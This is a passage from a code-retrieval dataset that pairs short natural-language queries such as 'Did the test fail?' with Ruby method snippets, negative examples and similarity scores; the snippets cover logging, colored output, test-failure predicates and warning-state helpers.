"def output_log(log)\n puts \"\\e[32m#{log}\\e[m\\s\"\nend",
"def colors; end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def colorized?; end",
"def logger=(logr); @logger = logr end",
"def method_missing(m, *args, &block)\n \tRails.logger.send m, *args, &block\n end",
"def log\n end",
"def color; end",
"def color; end",
"def color; end",
"def log(text=\"\", new_line=true)\n super(DO_LOGGER_FORMAT % [user, name, text], new_line)\n end",
"def logger\n ::Logger.new($stdout).tap do |log|\n log.formatter = proc do |severity, _datetime, _progname, msg|\n prep = ' ' * (severity.size + 3)\n message = msg.lines.map.with_index do |str, i|\n next str if i.zero?\n\n str.strip.empty? ? str : prep + str\n end\n color = severity.downcase.to_sym\n msg = +\"[#{SeccompTools::Util.colorize(severity, t: color)}] #{message.join}\"\n msg << \"\\n\" unless msg.end_with?(\"\\n\")\n msg\n end\n end\n end",
"def replace_log io = DefaultIO, level = @log.level\n l = ::Deployable::Logger.new io, level\n #l.level = @log.level\n @log = l\n end",
"def parse(arguments)\n super\n\n level = :info\n level = :debug if debug?\n level = :error if quiet?\n Kubetruth::Logging.setup_logging(level: level, color: color?)\n end",
"def logs\n end",
"def logger; LOGGER; end",
"def red; end",
"def red; end",
"def colorized_info(message, color)\n unless @logdev.filename\n return info(\"\\e[#{color}m#{message}\\e[0m\")\n end\n info(message)\n end",
"def logs\n\n end",
"def cprint (msg = \"\", color = \"\")\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n # This little check will allow us to take a Constant defined color\n # As well as a [0-256] value if specified\n if (color.is_a?(String))\n debug_print \"Custom color specified for cprint\\n\"\n STDOUT.write(color)\n elsif (color.between?(0, 256))\n debug_print \"No or Default color specified for cprint\\n\"\n STDOUT.write(\"\\e[38;5;#{ color }m\")\n end\n\n STDOUT.write(msg)\n end",
"def log_production\n #@log.outputters << Outputter.stdout\n set_dir_and_logfilename(Time.now.to_i)\n FileOutputter.new('coregame_log', :filename=> @out_log_name) \n myApacheLikeFormat = PatternFormatter.new(:pattern => \"[%d] %m\") # questo usa [data] <testo>\n mybaseApacheLikeLog = RollingFileOutputter.new 'coregame_log', \n :maxsize => 999999999, \n :maxtime => 86400 * 7, # tempo in secondi (1 * 14 giorni). Dopo 14 giorni avviene il rollout e \n # quindi viene creato un nuovo file\n :filename => out_log_name, \n :trunc => false, # se true viene usato 'w' in File.open, altrimenti con false 'a' \n # voglio 'a' in quanto ogni volta che viene chiamato lo script, devo avere un append\n :formatter => myApacheLikeFormat\n\n \n Log4r::Logger['coregame_log'].add 'coregame_log'\n Log4r::Logger['coregame_log'].level = INFO\n end",
"def log_level=(level); end",
"def setup_logger\n logger = Log4r::Logger.new('drbman')\n logger.outputters = Log4r::StdoutOutputter.new(:console)\n Log4r::Outputter[:console].formatter = Log4r::PatternFormatter.new(:pattern => \"%m\")\n logger.level = Log4r::DEBUG\n logger.level = Log4r::INFO\n logger.level = Log4r::WARN if @user_choices[:quiet]\n logger.level = Log4r::DEBUG if @user_choices[:debug]\n # logger.trace = true\n logger\n end",
"def configure_logger_for(classname)\n # handle case in which log path does not exists\n begin\n logger = Logger.new(@log_path)\n rescue Errno::ENOENT\n FileUtils.mkdir_p File.dirname @log_path\n retry\n end\n\n logger.progname = classname\n logger.level = @level\n logger.formatter = proc { |severity, datetime, progname, msg|\n case severity\n when 'DEBUG'\n spaciator = \" *\"\n after_space = \"\"\n when 'INFO'\n spaciator = \" **\"\n after_space = \" \"\n when 'WARN'\n spaciator = \" ***\"\n after_space = \" \"\n when 'ERROR'\n spaciator = \" ****\"\n after_space = \"\"\n when 'FATAL'\n spaciator = \"*****\"\n after_space = \"\"\n else\n spaciator = \" \"\n after_space = \"\"\n end\n\n formatted_output = \" #{spaciator} [#{severity}]#{after_space} [#{datetime}] -- #{msg} { #{progname} }\\n\"\n formatted_output\n }\n logger\n end",
"def logger\n raise NotImplementedError\n end",
"def color(*args)\n say HighLine.default_instance.color(*args)\n end",
"def cprint (msg = \"\", color = \"\")\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n # This little check will allow us to take a Constant defined color\n # As well as a [0-256] value if specified\n if (color.is_a?(String))\n debug_print \"Custom color specified for cprint\\n\"\n @output.write(color)\n elsif (color.between?(0, 256))\n debug_print \"No or Default color specified for cprint\\n\"\n @output.write(\"\\e[38;5;#{ color }m\")\n end\n\n @output.write(msg)\n end",
"def color_methods; end",
"def color(code, output, newline = true)\n log(color_enabled ? \"\\033[#{code}m#{output}\\033[0m\" : output, newline)\n end",
"def chco\n (foreground || \"FFFFFF\") + \",\" + super\n end"
] |
[
"0.8288321",
"0.7910469",
"0.70870256",
"0.70870256",
"0.70870084",
"0.70330685",
"0.67263854",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6686834",
"0.6674876",
"0.6639369",
"0.6624559",
"0.6620606",
"0.6620606",
"0.6594035",
"0.65674305",
"0.64903665",
"0.6471354",
"0.6471354",
"0.6471354",
"0.6471354",
"0.6471354",
"0.64467096",
"0.6442382",
"0.64313895",
"0.6415522",
"0.64127856",
"0.6408888",
"0.6354731",
"0.6339174",
"0.6320349",
"0.6266556",
"0.6266556",
"0.6249811",
"0.6249811",
"0.6202542",
"0.6202542",
"0.61910623",
"0.61910623",
"0.61910623",
"0.61910623",
"0.61910623",
"0.61910623",
"0.61910623",
"0.61910623",
"0.61536074",
"0.61439794",
"0.6123291",
"0.6084412",
"0.6058267",
"0.6058267",
"0.6058267",
"0.6058267",
"0.6058267",
"0.6058267",
"0.6058267",
"0.6026761",
"0.60244215",
"0.6022253",
"0.6021838",
"0.59995055",
"0.59995055",
"0.59995055",
"0.59908766",
"0.59890246",
"0.5986896",
"0.5985201",
"0.59658486",
"0.59637475",
"0.593824",
"0.593824",
"0.5902805",
"0.5901123",
"0.5901053",
"0.5900114",
"0.5893563",
"0.58800966",
"0.587518",
"0.58599114",
"0.58580583",
"0.5850445",
"0.58493584",
"0.5848384",
"0.58479834"
] |
0.0
|
-1
|
Did the test fail?
|
def failed?
true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fail\n @failed = true\n end",
"def do_failure; end",
"def fail!\n @failed = true\n end",
"def failed?\n not @ok\n end",
"def fail_now\n fail\n raise TestFail\n end",
"def failures; end",
"def failures; end",
"def failures; end",
"def failed?\n @passed == false\n end",
"def fail\n end",
"def fail!\n @success = false\n end",
"def fail!\n @success = false\n end",
"def failed?; state == 'failed'; end",
"def failed?; state == 'failed'; end",
"def flexmock_test_has_failed? # :nodoc:\n passed? == false\n end",
"def fail!\n @success = false\n end",
"def fail(message = nil)\r\n @status = FAIL\r\n @assert = false\r\n end",
"def failure\n end",
"def failed!\n @success = false\n end",
"def fail\n # no-op\n end",
"def fail(reason)\n end",
"def failure\n !success\n end",
"def assert_error_occurred\n assert_not_exit_status 0\n end",
"def something_should_fail!\n @should_fail = true\n end",
"def failed?\n failed\n end",
"def failure!\n end",
"def failure?\n false\n end",
"def failed_test?(event)\n event['event'] == 'test' && event['status'] == 'fail'\n end",
"def something_should_fail?\n @should_fail\n end",
"def failure?\n !successful?\n end",
"def fail(reason = 'Test case called fail!')\n raise Bcpm::Tests::AssertionError, reason\n end",
"def failed?\n @failed\n end",
"def failure?\n exit_code != 0\n end",
"def failed?\n !success?\n end",
"def assert_error_occurred\n @status.wont_equal 0\n end",
"def failure?\n !error?\n end",
"def failure?\n !successful?\n end",
"def failure?\n !success?\n end",
"def failure?\n !success?\n end",
"def failure?\n !success?\n end",
"def failed?\n\t\tnot @failure.nil?\n\tend",
"def failed?\n @failed\n end",
"def failed?\n @state == :failed\n end",
"def failed?; failed_to_start? || (@success == false) end",
"def failure?\n !success?\n end",
"def failure?\n !success?\n end",
"def failed?\n @is_failed\n end",
"def failed?\n @failTag == \"failure\"\n end",
"def passed?\n !failed?\n end",
"def fail!\n @__result.fail!\n throw :fail\n end",
"def failure!\n @count += 1\n end",
"def failed?\n raise 'Not implemented!'\n end",
"def fail\n @counts.fails += 1\n puts_failure_data(header: FAIL_HEADER)\n end",
"def error\n failure\n end",
"def failed?\n state == :failed\n end",
"def failures=(_arg0); end",
"def failures=(_arg0); end",
"def run_failed; end",
"def post_fail_message; end",
"def failure?\n @status == FAILURE_FLAG\n end",
"def fail(check)\n update_check_status(check, 'fail')\n end",
"def passed?\n !failed?\n end",
"def invisible_testFailure(cg, cgi, state)\n true\nend",
"def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end",
"def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end",
"def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end",
"def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end",
"def failed?\n status === 'failed'\n end",
"def failed?\n status === 'failed'\n end",
"def test_errored_operation\n op = create_op MockOperation.new(status: :DONE, err_code: ERR_CODE, err_msg: ERR_MSG)\n assert op.done?\n assert op.error?\n refute op.response?\n assert_equal ERR_CODE, op.results.code\n assert_equal ERR_MSG, op.results.message\n assert_equal ERR_CODE, op.error.code\n assert_equal ERR_MSG, op.error.message\n assert_nil op.response\n end",
"def report_failure\n @report.fail\n end",
"def report_failure\n @report.fail\n end",
"def tests_contain_failures?\n $?.exitstatus == PHPUNIT_FAILURES_EXITCODE\n end",
"def fail!\n @__result.fail!\n throw :fail\n end",
"def fail message = nil, data = {}\n __assert_block FAILING, message, data\n end",
"def main_example_FAIL()\n object_example = Object_example.new()\n if object_example.test_FAIL() == 1\n return 1\n end\nend",
"def defaultFailTest\n rescue_assertion /#{FAILING}/ do\n fail\n end\n end",
"def failed?\n status === \"failed\"\n end",
"def failure(log_data = nil)\n results false, log_data\n end",
"def failed?\n !succeeded? && !in_progress?\n end",
"def example_failed(_)\n end",
"def is_failed\n @status == Status::FAILURE\n end",
"def test_end_fail\r\n \t@test_prospector.move_count = 1\r\n \tassert_equal false, @test_prospector.end?\r\n end",
"def failed?\n !succeeded? && !in_progress?\n end",
"def test_errored_operation_boolean\n op = create_op MockOperation.new(status: true, err_code: ERR_CODE, err_msg: ERR_MSG)\n assert op.done?\n assert op.error?\n refute op.response?\n assert_equal ERR_CODE, op.results.code\n assert_equal ERR_MSG, op.results.message\n assert_equal ERR_CODE, op.error.code\n assert_equal ERR_MSG, op.error.message\n assert_nil op.response\n end",
"def error?\n !failure?\n end",
"def fail(message=nil)\n halt(message, 1)\n end",
"def example_failed(example, counter, failure)\n end",
"def failed?\n status == 'failed'\n end",
"def failed?\n status == 'failed'\n end",
"def assert_no_error_occurred\n assert_exit_status(0)\n end",
"def failure_has_not_occurred!\r\n @failure_has_occurred = false\r\n end",
"def test_command_failed\n assert_raise(Report::CommandFailed) { @report.run('nosuch') }\n assert_raise(Report::CommandFailed) { @report.run('cat', 'nosuch') }\n end",
"def failed?\n self == Failed\n end",
"def assertFailTest value\n rescue_assertion /#{ASSERT_ERROR}/ do\n assert value\n end\n end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end"
] |
[
"0.79837626",
"0.79184306",
"0.7826763",
"0.78253907",
"0.77599335",
"0.7736524",
"0.7736524",
"0.7736524",
"0.7693688",
"0.7629173",
"0.76107556",
"0.76107556",
"0.7585485",
"0.7585485",
"0.75701475",
"0.7563943",
"0.7536096",
"0.7533097",
"0.7518108",
"0.75051725",
"0.7494821",
"0.7491072",
"0.7427956",
"0.73758304",
"0.7356695",
"0.7349424",
"0.7339591",
"0.7320749",
"0.7313412",
"0.73056346",
"0.72934407",
"0.7282757",
"0.7251198",
"0.72329724",
"0.722088",
"0.721729",
"0.7213572",
"0.72119755",
"0.72119755",
"0.72119755",
"0.72104686",
"0.7198908",
"0.7197203",
"0.71962506",
"0.7155292",
"0.7155292",
"0.71273",
"0.71071476",
"0.70740974",
"0.70693654",
"0.7065314",
"0.7060441",
"0.7054454",
"0.7045274",
"0.7044391",
"0.7041983",
"0.7041983",
"0.704145",
"0.7029209",
"0.70120364",
"0.69862276",
"0.69818187",
"0.6978381",
"0.69764334",
"0.69764334",
"0.69764334",
"0.69764334",
"0.6970908",
"0.6970908",
"0.6946131",
"0.69460857",
"0.69460857",
"0.69428504",
"0.69346493",
"0.69319683",
"0.6927302",
"0.6922007",
"0.69167316",
"0.6915462",
"0.6913361",
"0.6881581",
"0.68784183",
"0.68730015",
"0.6868764",
"0.68632674",
"0.68477607",
"0.6836609",
"0.6808167",
"0.6801699",
"0.6801699",
"0.6800661",
"0.67814505",
"0.67688143",
"0.6758924",
"0.6751356",
"0.6746446",
"0.6746446",
"0.6746446",
"0.6746446",
"0.6746446"
] |
0.77322763
|
8
|
The state of failure.
|
def failure?
!error?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def failed?; state == 'failed'; end",
"def failed?; state == 'failed'; end",
"def failed?\n @state == :failed\n end",
"def failure\n @status = FAILURE_FLAG if @status == SUCCESS_FLAG\n end",
"def failed?\n state == :failed\n end",
"def is_failed\n @status == Status::FAILURE\n end",
"def failure?\n @status == FAILURE_FLAG\n end",
"def error\n failure\n end",
"def failure\n !success\n end",
"def error_state\n @bytes.uint8(7)\n end",
"def failed?\n @failed\n end",
"def failed?\n @is_failed\n end",
"def failed?\n @failed\n end",
"def fail\n @failed = true\n end",
"def failed!\n @success = false\n end",
"def failure?\n false\n end",
"def error\n @status = ERROR_FLAG if @status == SUCCESS_FLAG\n end",
"def failed?\n status === 'failed'\n end",
"def failed?\n status === 'failed'\n end",
"def failure_message\n @message\n end",
"def failed?\n status === \"failed\"\n end",
"def failed?\n true\n end",
"def failure?\n !successful?\n end",
"def failure\n @failure.call(self) if @failure\n end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failure_message; end",
"def failing?\n @status.exitstatus & (1 << 3) != 0\n end",
"def failure?\n !successful?\n end",
"def failed?\n status == 'failed'\n end",
"def failed?\n status == 'failed'\n end",
"def failure\n @failure.call(self) if @failure\n end",
"def failed?\n\t\tnot @failure.nil?\n\tend",
"def failed?\n failed\n end",
"def failed?\n self == Failed\n end",
"def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end",
"def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end",
"def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end",
"def failure(err_msg)\n @fail = true\n @err_msg = err_msg\n end",
"def failure?\n !success?\n end",
"def failure?\n !success?\n end",
"def error?\n !failure?\n end",
"def failures; end",
"def failures; end",
"def failures; end",
"def failure_message\n build_failure_message(negated: false)\n end",
"def fail!\n @failed = true\n end",
"def fail!\n @success = false\n end",
"def failure?\n !success?\n end",
"def failure?\n !success?\n end",
"def failure?\n !success?\n end",
"def fail!\n @success = false\n end",
"def fail!\n @success = false\n end",
"def errored\n @errored ||= count('errored')\n end",
"def failed?\n not @ok\n end",
"def do_failure; end",
"def failure\n end",
"def failed?\n @failTag == \"failure\"\n end",
"def failing?\n @status.exitstatus & (1 << 3) != 0\n end",
"def failure_info\n return @failure_info\n end",
"def failed?; failed_to_start? || (@success == false) end",
"def failed?\n return @state == FAILED_STATE unless @state == PENDING_STATE\n @lock.lock\n begin\n @state == FAILED_STATE\n ensure\n @lock.unlock\n end\n end",
"def failure_has_not_occurred!\r\n @failure_has_occurred = false\r\n end",
"def failure?\n terminal_flag == :failure\n end",
"def failure?\n blackboard.failure?\n end",
"def failure?\n error.nil?\n end",
"def failed\n total - successful\n end",
"def failure?\n exit_code != 0\n end",
"def fail_level\n @fail_level || SEVERITY_LEVELS.last\n end",
"def failed?\n @passed == false\n end",
"def failed\n @failed ||= all.select { |rule| rule.status == \"FAIL\" }\n end",
"def fail(message = nil)\r\n @status = FAIL\r\n @assert = false\r\n end",
"def failed\n\t\treturn module_failed\n\tend",
"def failure(log_data = nil)\n results false, log_data\n end",
"def error(result)\n final_state(:error, result)\n end",
"def failed_text\n 'Failed: %d' % failed\n end",
"def failure_has_occurred!\r\n @failure_has_occurred = true\r\n end",
"def results_errno()\n r = attr_get(\"status\")\n if(r.eql?(\"passed\"))\n 0\n end\n r = attr_get(\"errno\")\n unless r\n r = -1\n end\n r\n end",
"def failed?\n !success?\n end",
"def failure_type\n @attributes[:failure_type]\n end",
"def failure?; terminal_flag == :failure end",
"def failure?; terminal_flag == :failure end",
"def failure!\n @count += 1\n end",
"def failed?\n !succeeded? && !in_progress?\n end",
"def failed?\n !succeeded? && !in_progress?\n end",
"def failed?(backoff = false)\n @status == :failed\n end",
"def failed_states\n states - success_states - transitive_states\n end",
"def failed_at\n Time.at(self[Job::WORKFLOW_FINISHED_AT_FIELD].to_f) if failed?\n end",
"def failure_date_time\n return @failure_date_time\n end",
"def failed?\n status == :failed or tasks_have_failed?\n end",
"def error_state?(state)\n STATES[state] >= ERROR_STATE_THRESHOLD\n end",
"def failed?\n\t\t\treturn request_status == REQUEST_STATUS['failed']\n\t\tend",
"def failure\n if $DEBUG\n @__num_of_tries ||= 1\n @__num_of_tries += 1\n end\n back_amb.pop.call\n end",
"def failure(job)\n self.successful = true\n self.complete = true\n self.state = 'Failed'\n update_sync_job\n end",
"def faulty(aReason)\n @failure_reason = aReason\n end",
"def unsuccessful\n end"
] |
[
"0.7987854",
"0.7987854",
"0.78561056",
"0.78510875",
"0.7772478",
"0.7645547",
"0.75872576",
"0.74112505",
"0.7375813",
"0.73214597",
"0.7253933",
"0.72346395",
"0.7166648",
"0.71471286",
"0.70911276",
"0.70648557",
"0.7037098",
"0.70321816",
"0.70321816",
"0.6999888",
"0.6970972",
"0.6970828",
"0.6960888",
"0.69583374",
"0.6950207",
"0.6950207",
"0.6950207",
"0.6950207",
"0.6950207",
"0.6950207",
"0.6950207",
"0.69490176",
"0.69384134",
"0.69224393",
"0.69224393",
"0.6919175",
"0.68994063",
"0.6874286",
"0.6862422",
"0.6856464",
"0.6856464",
"0.6856464",
"0.6856464",
"0.68556386",
"0.68556386",
"0.68345654",
"0.68301016",
"0.68301016",
"0.68301016",
"0.68213147",
"0.6815946",
"0.6812294",
"0.68004113",
"0.68004113",
"0.68004113",
"0.6773797",
"0.6773797",
"0.6773549",
"0.6765724",
"0.6743873",
"0.6735776",
"0.6717937",
"0.67038393",
"0.6691958",
"0.6645301",
"0.6638146",
"0.66206586",
"0.6604761",
"0.6590609",
"0.6586179",
"0.6570813",
"0.65647465",
"0.6561107",
"0.6544819",
"0.65375924",
"0.6536075",
"0.6524744",
"0.65217835",
"0.6515499",
"0.6514872",
"0.6510726",
"0.64962",
"0.649606",
"0.64916444",
"0.6478351",
"0.6478351",
"0.6474294",
"0.6471634",
"0.6467925",
"0.6463507",
"0.64588416",
"0.64586735",
"0.64585537",
"0.6440252",
"0.64347017",
"0.6425305",
"0.6423785",
"0.64219826",
"0.64178306",
"0.6402699"
] |
0.68276757
|
49
|
The state of info.
|
def info?
false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def state\n info[:state]\n end",
"def state()\n info[:state]\n end",
"def state\n data.state\n end",
"def state\n data.state\n end",
"def state\n data[:state]\n end",
"def state\n @state\n end",
"def state\n @state\n end",
"def state\n @state ||= getStateData()\n end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state\n data['State']\n end",
"def state\n self.well_info.state\n end",
"def state\n end",
"def state\n @__state\n end",
"def read_state\n end",
"def info\n @info ||= {}\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n return @state\n end",
"def state\n @state\n end",
"def __state_internal\n @state\n end",
"def info\n @info ||= {}\n end",
"def state\n status[\"state\"]\n end",
"def info\n @info\n end",
"def info() @info = Info.new end",
"def info\n @info\n end",
"def state\n status.state name\n end",
"def state\n @current_state\n end",
"def info()\n #This is a stub, used for indexing\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n self['STATE'].to_i\n end",
"def state\n [@gid, @sid, @track_by, @ip]\n end",
"def states; end",
"def info; end",
"def info; end",
"def state\n object.state_code\n end",
"def state\n return self.endpoint.state(self.id)\n end",
"def state\n [@gid, @sid, @track_by, @count, @seconds, @new_action, @timeout, @apply_to]\n end",
"def state\n self[:ST]\n end",
"def state\n self.instance_variables.map { |variable| self.instance_variable_get variable }\n end",
"def state\n self.instance_variables.map { |variable| self.instance_variable_get variable }\n end",
"def state\n self.instance_variables.map { |variable| self.instance_variable_get variable }\n end",
"def info\n return @info\n end",
"def info\n @info\n end",
"def state\n [@identifier, @estimated_time, @priority, @completed_at]\n end",
"def info\n raise \"Not yet implemented\"\n end",
"def state\n domain_info[:state]\n end",
"def state\n domain_info[:state]\n end",
"def inspect\n \"#{name}=#{state.inspect} #{location}\"\n end",
"def state\n State.instance\n end",
"def info\n return 'STATE=d' if @state == 'd'\n\n str_info = \"\"\n\n str_info << \"STATE=\" << @state << \" \"\n str_info << \"USEDCPU=\" << @used_cpu.to_s << \" \"\n str_info << \"USEDMEMORY=\"<< @used_memory.to_s << \" \"\n str_info << \"NETRX=\" << @net_rx.to_s << \" \"\n str_info << \"NETTX=\" << @net_tx.to_s\n end",
"def state\n @@states[@state]\n end",
"def state\n @grpc.state\n end",
"def state\n @grpc.state\n end",
"def state\n @grpc.state\n end",
"def state\n @grpc.state\n end",
"def state\n @grpc.state\n end",
"def info\n nil\n end",
"def verbose_state\n { @name =>\n { :elements =>\n @elements.inject(Hash.new) { |hash, element| hash.merge element[1].verbose_state[@name][:elements] },\n :state => state,\n :info => (info if respond_to? :info)\n }\n }\n end",
"def state\n hash = {}\n hash[:frozen] = self.frozen \n hash[:active] = self.board.active\n hash[:students] = self.students.as_json\n hash[:tas] = self.tas.as_json\n hash\n end",
"def state\n @state.last\n end",
"def state\n @state.last\n end",
"def state\n @gameState.state\n end",
"def show_state\n puts \"#{self.name} a #{self.life_points} points de vie.\"\n end",
"def inspect\n @info.inspect\n end",
"def inspect\n @info.inspect\n end",
"def show_state\n puts \"#{name} a #{life_points} points de vie !!\"\n end",
"def show_state\n\t\tputs \"#{@name} a #{@life_points} points de vie.\"\n\tend",
"def show_state\n\t\tputs \"#{self.name} a #{self.life_points} points de vie et une arme de niveau #{self.weapon_level}.\"\n\tend",
"def inspect\n @info.inspect \n end",
"def show_state\n\t\treturn \"#{self.name} a #{self.life_points} points de vie.\"\n\tend",
"def state\r\n\t\t\t`#{BITS::BITSADMIN} /getstate {#{@id}}`\r\n\t\tend",
"def show_state\n puts \"#{@name} has #{@life_points} life points\"\n end",
"def display_state(patientinfo)\n if patientinfo\n patientinfo.state\n end\n end",
"def show_state\n puts \"#{@name} a #{@life_points} points de vie.\"\n end",
"def state; @doc['state']; end",
"def state; @doc['state']; end",
"def show_state\r\n puts \"#{@name} à #{@life_points} points de vie\"\r\n end",
"def state(object)\n tracker.fetch(object)\n end",
"def show_state\n puts \"#{@name} a #{@life_points} de PV\"\n end",
"def get_state\n @client.get_state\n end",
"def game_state\n end",
"def extra_state; end",
"def status_info\n {:active_objects => @active_list.size,\n :idle_objects => @idle_list.size,\n :idle_check_status => @idle_check_status}.merge(self.config.to_hash)\n end"
] |
[
"0.83906037",
"0.8283509",
"0.7691582",
"0.7691582",
"0.756544",
"0.75104743",
"0.74951816",
"0.74447316",
"0.74422675",
"0.74422675",
"0.74422675",
"0.74422675",
"0.74422675",
"0.74422675",
"0.74422675",
"0.74422675",
"0.7418427",
"0.7324045",
"0.7299862",
"0.7292927",
"0.72804594",
"0.7258331",
"0.72168326",
"0.72168326",
"0.72168326",
"0.72168326",
"0.72168326",
"0.72168326",
"0.72168326",
"0.72168326",
"0.72168326",
"0.72168326",
"0.7159179",
"0.71124226",
"0.70617026",
"0.70471525",
"0.6969829",
"0.69516283",
"0.69206387",
"0.6885608",
"0.6883996",
"0.6841232",
"0.67967993",
"0.67967993",
"0.67967993",
"0.67967993",
"0.67967993",
"0.67967993",
"0.67967427",
"0.67894894",
"0.67445314",
"0.67445314",
"0.67207605",
"0.6688589",
"0.6680592",
"0.66690516",
"0.6665022",
"0.6665022",
"0.6665022",
"0.66641295",
"0.66493434",
"0.664167",
"0.6611261",
"0.6555036",
"0.6555036",
"0.6549164",
"0.65381795",
"0.6510877",
"0.6503216",
"0.649895",
"0.649895",
"0.649895",
"0.649895",
"0.649895",
"0.649233",
"0.64920884",
"0.64781445",
"0.6470679",
"0.6470679",
"0.6468861",
"0.64618325",
"0.64478177",
"0.64478177",
"0.63962966",
"0.6376517",
"0.6348911",
"0.6348283",
"0.63298756",
"0.63222086",
"0.6321256",
"0.6313517",
"0.6312931",
"0.6311859",
"0.6311859",
"0.63110644",
"0.6309916",
"0.63056564",
"0.6304334",
"0.62983054",
"0.6292578",
"0.6290847"
] |
0.0
|
-1
|
The state of warning.
|
def warning?
false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def warning\n state(\"warning\")\n end",
"def warning_state\n super\n end",
"def warning\n return @warning\n end",
"def warning?\n @result.retval == 1\n end",
"def warning?\n severity == :WARNING\n end",
"def warning?; end",
"def warning?; end",
"def warning?; end",
"def warning?\n level == 1\n end",
"def GetLastWarning\n @warning\n end",
"def warning=(value)\n @warning = value\n end",
"def warning!\n self.severity = :WARNING\n end",
"def warning_temp\n 42\n end",
"def warning(warning)\n end",
"def warnings\n @warnings ||= failed.select { |rule| rule.severity == \"Warning\" }\n end",
"def warnings\n @tracker.warnings\n end",
"def set_warning_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end",
"def warnings?\n @warning_count > 0\n end",
"def lwarn; end",
"def warning?\n check_warnings\n end",
"def warned; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings?\n @statistics[:warning] != 0\n end",
"def warn?; @level <= WARN; end",
"def warn?; @level <= WARN; end",
"def generate_warning_text\n @warnings\n end",
"def level\n @level ||= :warn\n end",
"def warn?\n level >= ASL_LEVEL_WARNING\n end",
"def warn\n\n end",
"def disabled_warnings; end",
"def warn(p0) end",
"def warning(msg)\n banner(\"Warning: #{msg}\", YELLOW)\n end",
"def state_text\n EasyLoan::LoanBill::STATE_TEXT.fetch(bill_state.to_sym, \"无状态\")\n end",
"def status\n 'unknown'\n end",
"def warn(msg)\n #This is a stub, used for indexing\n end",
"def warning(message)\n log.warn(message.to_s.yellow)\n end",
"def warning(type, message, lineno)\n end",
"def warning(message)\n write_message message, 'warning'\n end",
"def state()\n info[:state]\n end",
"def has_warnings?\n @has_warnings ||= false\n end",
"def warn?\n level <= WARN\n end",
"def pre_restore_warning\n end",
"def malware_state_summary\n return @malware_state_summary\n end",
"def warning(&block)\n begin\n update_status(:warning) if instance_eval(&block)\n rescue Exception\n update_status(:warning)\n end\n end",
"def warning(msg)\n @warnings << msg\n owarn @warnings.last\n end",
"def warning! opts = nil\n NOCH.evaluate_for \"warning\", opts\n end",
"def state_reason\n data[:state_reason]\n end",
"def warn=(value) @warn = true; end",
"def disabled_warnings\n Dynamic[:disabled_warnings]\n end",
"def warning(string); end",
"def warning(string); end",
"def warn?\n @level <= 2\n end",
"def state\n status[\"state\"]\n end",
"def warnings?\n !warnings.empty?\n end",
"def warning?\n messages && messages.length > 0\n end",
"def state\n info[:state]\n end",
"def warn(msg)\n puts \"WARNING: #{msg}\"\n end",
"def global_warning\n # using SiteConfigutation over an environment constant DOES require a query for EVERY REQUEST\n # but the table is tiny (<5 rows right now) and the coloumn is indexed. But it also gives us the flexibility\n # to display or remove a message within seconds which I think is worth it\n warning = $CACHE.fetch(\"application/global_warning\", :expires_in => 10.minutes) do\n parameter = SiteConfigurationOption.find_by_parameter('global_site_warning')\n if parameter && parameter.value\n parameter.value\n else\n 1\n end\n end\n if warning && warning.class == String\n flash.now[:error] = warning\n end\n end",
"def warning(msg) log(4, msg); end",
"def error_state\n @bytes.uint8(7)\n end",
"def warn(check)\n update_check_status(check, 'warn')\n end",
"def warning(text)\n GitPusshuTen::Log.warning(text)\n end",
"def warning_selected(work)\n @work.new_record? ? Warning.find_by_name(ArchiveConfig.WARNING_DEFAULT_TAG_NAME) : @work.warning_strings\n end",
"def todo_state\n return :normal if !self.wip_total\n return :urgent if self.wip_total > WIP_TOTAL_URGENT\n return :warn if self.wip_total > WIP_TOTAL_WARN\n\n return :normal if !self.lane\n return :urgent if self.lane.urgent_limit and self.wip_current > self.lane.urgent_limit\n return :warn if self.lane.warn_limit and self.wip_current > self.lane.warn_limit\n return :normal\n end",
"def warnings\n @warnings ||= ActiveModel::Errors.new(self)\n end",
"def warning(*args); end",
"def warn message\n @options.warn make_message message\n end",
"def malware_execution_state_summary\n return @malware_execution_state_summary\n end",
"def warning(text); end",
"def warning(text); end",
"def warning(text)\n puts color.colorize(text, :yellow)\n end",
"def state_text state = self.State\n P2::DS_MESSAGES[state]\n end",
